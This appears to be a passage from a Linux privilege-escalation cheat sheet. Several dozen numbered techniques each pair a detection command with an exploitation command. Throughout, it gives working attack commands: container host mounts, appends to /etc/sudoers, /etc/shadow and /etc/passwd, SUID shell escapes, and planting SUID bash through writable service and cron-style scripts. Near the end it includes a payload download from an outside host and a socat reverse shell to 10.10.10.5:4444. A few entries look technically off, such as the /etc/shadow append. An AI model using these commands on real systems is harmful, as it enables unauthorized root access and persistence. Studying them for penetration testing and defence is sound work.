🔍 Detection:

```
docker ps -a
```

🚀 Exploitation:

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Linux Privilege Escalation Methods - Batch 2

---

11. Dirty Sock (Snapd CVE-2019-7304)

- **Tool**: `dirty_sock.py`
- **Why?** Exploits snapd API socket for root access.

🔍 Detection:

```
snap version
```

🚀 Exploitation:

```
python3 dirty_sock.py
```

---

12. Writable /etc/shadow

- **Tool**: `openssl`, `chpasswd`
- **Why?** Change root password if shadow is writable.

🔍 Detection:

```
ls -l /etc/shadow
```

🚀 Exploitation:

```
openssl passwd -1 newpass >> /etc/shadow
su root
```

---

13. PATH Environment Variable Hijack

- **Tool**: Custom binary
- **Why?** Hijack execution flow using modified PATH.

🔍 Detection:

```
echo $PATH
```

🚀 Exploitation:

```
echo '/bin/sh' > /tmp/fakecp
chmod +x /tmp/fakecp
export PATH=/tmp:$PATH
sudo some_script
```

---

14. NFS root_squash Misconfig

- **Tool**: `mount`, `gcc`

- **Why?** Exploit NFS share with no_root_squash.

🔍 Detection:

```
cat /etc/exports
```

🚀 Exploitation:

```
mount -o rw 10.0.0.1:/nfs /mnt
gcc shell.c -o /mnt/suidroot
chmod +s /mnt/suidroot
```

---

15. Writable systemd Service

- **Tool**: `systemctl`
- **Why?** Modify service to execute payload.

🔍 Detection:

```
ls -l /etc/systemd/system
```

🚀 Exploitation:

```
echo -e "[Service]\nExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash;
chmod +s /tmp/rootbash'" > /etc/systemd/system/vuln.service
systemctl daemon-reload
systemctl start vuln.service
```

---

16. LXD Group Membership

- **Tool**: `lxd`
- **Why?** Users in lxd group can mount host FS.

🔍 Detection:

```
id
```

🚀 Exploitation:

```
lxc init ubuntu:18.04 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
recursive=true
lxc start privesc
lxc exec privesc bash
```

---

17. pkexec Misconfiguration

- **Tool**: `pkexec`
- **Why?** PolicyKit allows arbitrary command execution.

🔍 Detection:

```
pkexec id
```

🚀 Exploitation:

```
pkexec /bin/bash
```

---

18. Writable Docker Socket

- **Tool**: `docker`
- **Why?** Full host control if socket is writable.

🔍 Detection:

```
ls -l /var/run/docker.sock
```

🚀 Exploitation:

```
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot
/mnt sh
```

---

19. Misconfigured sudoers (NOPASSWD)

- **Tool**: `sudo`

- **Why?** Run commands as root without password.

🔍 Detection:

```
sudo -l
```

🚀 Exploitation:

```
sudo bash
```

---

20. Writable Logrotate Scripts

- **Tool**: `logrotate`
- **Why?** Malicious command injection into logrotate script.

🔍 Detection:

```
ls -l /etc/logrotate.d/
```

🚀 Exploitation:

```
echo "/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'" >>
/etc/logrotate.d/vuln
logrotate -f /etc/logrotate.d/vuln
```

Linux Privilege Escalation Methods - Batch 3

---

21. Suid Perl Scripts

- **Tool**: `perl`
- **Why?** Suid Perl allows command execution as root.

🔍 Detection:

```
find / -perm -4000 -type f -name perl 2>/dev/null
```

🚀 Exploitation:

```
perl -e 'exec "/bin/sh";'
```

---

22. Suid Python Scripts

- **Tool**: `python`
- **Why?** Suid-enabled Python spawns root shell.

🔍 Detection:

```
find / -perm -4000 -type f -name python* 2>/dev/null
```

🚀 Exploitation:

```
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

---

23. OverlayFS (CVE-2015-1328)

- **Tool**: `overlayfs exploit`
- **Why?** Kernel bug grants root.

🔍 Detection:

```
uname -r
```

🚀 Exploitation:

```
gcc overlayfs.c -o exploit
./exploit
```

---

24. Misconfigured PAM Modules

- **Tool**: `pam_unix.so`
- **Why?** Allows authentication bypass.

🔍 Detection:

```
cat /etc/pam.d/*
```

🚀 Exploitation:

Inject `auth sufficient pam_permit.so` in PAM config.

---

25. Writable /etc/sudoers

- **Tool**: `visudo`
- **Why?** Modify sudoers to gain root.

🔍 Detection:

```
ls -l /etc/sudoers
```

🚀 Exploitation:

```
echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
sudo bash
```

---

26. LD_LIBRARY_PATH Hijack

- **Tool**: Custom `.so`
- **Why?** Load malicious libraries.

🔍 Detection:

```
env | grep LD_LIBRARY_PATH
```

🚀 Exploitation:

```
gcc -fPIC -shared -o evil.so evil.c
LD_LIBRARY_PATH=. vulnerable_binary
```

---

27. strace Debugging with SUID

- **Tool**: `strace`
- **Why?** Attach to SUID processes.

🔍 Detection:

```
which strace
```

🚀 Exploitation:

```
strace -o /dev/null suid_binary
```

---

28. Writable init.d Scripts

- **Tool**: `service`
- **Why?** Modify init scripts for persistence.

🔍 Detection:

```
ls -l /etc/init.d/
```

🚀 Exploitation:

```
echo "/bin/bash -i" >> /etc/init.d/vulnscript
service vulnscript restart
```

---

29. Ansible Misconfiguration

- **Tool**: `ansible-playbook`
- **Why?** Malicious playbook execution.

🔍 Detection:

```
ls -l /etc/ansible/
```

🚀 Exploitation:

```
ansible-playbook exploit.yml
```

---

30. Writable Backup Scripts

- **Tool**: `bash`
- **Why?** Inject malicious code in backup scripts.

🔍 Detection:

```
ls -l /etc/backup.sh
```

🚀 Exploitation:

```
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /etc/backup.sh
/etc/backup.sh
```

Linux Privilege Escalation Methods - Batch 4

---

31. Suid Ruby Scripts

- **Tool**: `ruby`
- **Why?** Suid Ruby can spawn a root shell.

🔍 Detection:

```
find / -perm -4000 -type f -name ruby 2>/dev/null
```

🚀 Exploitation:

```
ruby -e 'exec "/bin/sh"'
```

---

32. Suid Node.js Binaries

- **Tool**: `node`
- **Why?** Suid Node allows JS code execution as root.

🔍 Detection:

```
find / -perm -4000 -type f -name node 2>/dev/null
```

🚀 Exploitation:

```
node -e 'require("child_process").exec("bash")'
```

---

33. Writable /etc/ld.so.preload

- **Tool**: Malicious `.so`
- **Why?** Load attacker library with root privileges.

🔍 Detection:

```
ls -l /etc/ld.so.preload
```

🚀 Exploitation:

```
echo "/tmp/evil.so" > /etc/ld.so.preload
gcc -fPIC -shared -o /tmp/evil.so evil.c
```

---

34. GTFObins env Abuse

- **Tool**: `env`
- **Why?** Run root shell when env is SUID or via sudo.

🔍 Detection:

```
which env
```

🚀 Exploitation:

```
sudo env /bin/bash
```

35. Exim CVE-2019-10149

- **Tool**: `exim exploit`
- **Why?** Exim RCE grants root access.

🔍 Detection:

```
exim -bV
```

🚀 Exploitation:

```
python3 exim_rce.py target_ip
```

---

36. Insecure PATH in Scripts

- **Tool**: Fake binary
- **Why?** Hijack script execution.

🔍 Detection:

```
grep "PATH=" /etc/init.d/*
```

🚀 Exploitation:

```
echo -e '#!/bin/bash\n/bin/bash' > /tmp/fakecp
chmod +x /tmp/fakecp
export PATH=/tmp:$PATH
/etc/init.d/vulnerable_script
```

---

37. Suid awk

- **Tool**: `awk`
- **Why?** Suid awk allows root commands.

🔍 Detection:

```
find / -perm -4000 -type f -name awk 2>/dev/null
```

🚀 Exploitation:

```
awk 'BEGIN {system("/bin/sh")}'
```

---

38. Writable rc.local

- **Tool**: `rc.local`
- **Why?** Payload executes on boot.

🔍 Detection:

```
ls -l /etc/rc.local
```

🚀 Exploitation:

```
echo "/bin/bash -i" >> /etc/rc.local
reboot
```

---

39. Suid tee Command

- **Tool**: `tee`
- **Why?** Overwrite files as root.

🔍 Detection:

```
find / -perm -4000 -type f -name tee 2>/dev/null
```

🚀 Exploitation:

```
echo 'root::0:0:root:/root:/bin/bash' | tee -a /etc/passwd
su root
```

---

40. Suid cp Command

- **Tool**: `cp`
- **Why?** Overwrite critical files.

🔍 Detection:

```
find / -perm -4000 -type f -name cp 2>/dev/null
```

🚀 Exploitation:

```
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

Linux Privilege Escalation Methods - Batch 5

---

41. Suid bash

- **Tool**: `bash`
- **Why?** Suid bash allows privilege escalation.

🔍 Detection:

```
find / -perm -4000 -type f -name bash 2>/dev/null
```

🚀 Exploitation:

```
bash -p
```

---

42. Suid vi/vim

- **Tool**: `vim`
- **Why?** Run root shell via vim.

🔍 Detection:

```
find / -perm -4000 -type f -name vim 2>/dev/null
```

🚀 Exploitation:

```
vim -c ':!/bin/sh'
```

---

43. Suid less

- **Tool**: `less`
- **Why?** Shell escape via less.

🔍 Detection:

```
find / -perm -4000 -type f -name less 2>/dev/null
```

🚀 Exploitation:

```
less /etc/passwd
!bash
```

---

44. Suid man

- **Tool**: `man`
- **Why?** Execute root shell via man escape.

🔍 Detection:

```
find / -perm -4000 -type f -name man 2>/dev/null
```

🚀 Exploitation:

```
man man
!sh
```

---

45. Suid nano

- **Tool**: `nano`
- **Why?** Shell escape using nano.

🔍 Detection:

```
find / -perm -4000 -type f -name nano 2>/dev/null
```

🚀 Exploitation:

```
nano
^R^X
reset; sh 1>&0 2>&0
```

---

46. Suid awk (command injection)

- **Tool**: `awk`
- **Why?** Execute root shell.

🚀 Exploitation:

```
awk 'BEGIN {system("/bin/bash")}'
```

---

47. Suid find

- **Tool**: `find`
- **Why?** Execute commands as root.

🔍 Detection:

```
find / -perm -4000 -type f -name find 2>/dev/null
```

🚀 Exploitation:

```
find . -exec /bin/sh \; -quit
```

---

48. Suid tar

- **Tool**: `tar`
- **Why?** Abuse tar checkpoint for command execution.

🔍 Detection:

```
find / -perm -4000 -type f -name tar 2>/dev/null
```

🚀 Exploitation:

```
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

---

49. Suid rsync

- **Tool**: `rsync`
- **Why?** Execute shell with rsync.

🔍 Detection:

```
find / -perm -4000 -type f -name rsync 2>/dev/null
```

🚀 Exploitation:

```
rsync -e 'sh -c /bin/sh' 127.0.0.1:/dev/null
```

---

50. Suid git

- **Tool**: `git`
- **Why?** Git hooks or pager abuse.

🔍 Detection:

```
find / -perm -4000 -type f -name git 2>/dev/null
```

🚀 Exploitation:

```
PAGER='bash -c "exec bash"' git -p help
```

Linux Privilege Escalation Methods - Batch 6

---

51. Suid tcpdump

- **Tool**: `tcpdump`
- **Why?** Post-rotate scripts can execute root commands.

🔍 Detection:

```
find / -perm -4000 -type f -name tcpdump 2>/dev/null
```

🚀 Exploitation:

```
echo 'id' > /tmp/test.sh
chmod +x /tmp/test.sh
tcpdump -ln -i any -w /dev/null -z /tmp/test.sh
```

---

52. Suid gdb

- **Tool**: `gdb`
- **Why?** Spawn root shell via gdb.

🔍 Detection:

```
find / -perm -4000 -type f -name gdb 2>/dev/null
```

🚀 Exploitation:

```
gdb -q -nx -ex '!sh' -ex quit
```

---

53. Suid screen

- **Tool**: `screen`
- **Why?** CVE-2017-5618 can escalate privileges.

🔍 Detection:

```
screen --version
```

🚀 Exploitation:

```
screen -D -m -L /bin/sh
```

---

54. Suid nmap

- **Tool**: `nmap`
- **Why?** Old nmap interactive shell grants root.

🔍 Detection:

```
nmap --version
```

🚀 Exploitation:

```
nmap --interactive
!sh
```

---

55. Suid curl

- **Tool**: `curl`
- **Why?** Overwrite files with remote payloads.

🔍 Detection:

```
find / -perm -4000 -type f -name curl 2>/dev/null
```

🚀 Exploitation:

```
curl file:///etc/passwd -o /tmp/evil
```

56. Suid wget

- **Tool**: `wget`
- **Why?** Download and overwrite files.

🔍 Detection:

```
find / -perm -4000 -type f -name wget 2>/dev/null
```

🚀 Exploitation:

```
wget http://10.10.10.5/rootbash -O /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

---

57. Suid aria2c

- **Tool**: `aria2c`
- **Why?** Download payloads as root.

🔍 Detection:

```
find / -perm -4000 -type f -name aria2c 2>/dev/null
```

🚀 Exploitation:

```
aria2c http://10.10.10.5/rootbash -d /tmp
chmod +s /tmp/rootbash
/tmp/rootbash -p
```

---

58. Suid cpio

- **Tool**: `cpio`
- **Why?** Extract overwriting root-owned files.

🔍 Detection:

```
find / -perm -4000 -type f -name cpio 2>/dev/null
```

🚀 Exploitation:

```
echo 'id' > test
echo test | cpio -o --to-stdout | sh
```

---

59. rsyslog Misconfiguration

- **Tool**: `rsyslogd`
- **Why?** Inject commands into config.

🔍 Detection:

```
ps aux | grep rsyslog
```

🚀 Exploitation:

```
echo ':omprog:|/bin/sh' > /etc/rsyslog.conf
service rsyslog restart
```

---

60. Suid socat

- **Tool**: `socat`
- **Why?** Reverse shell as root.

🔍 Detection:

```
find / -perm -4000 -type f -name socat 2>/dev/null
```

🚀 Exploitation:

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.5:4444
```
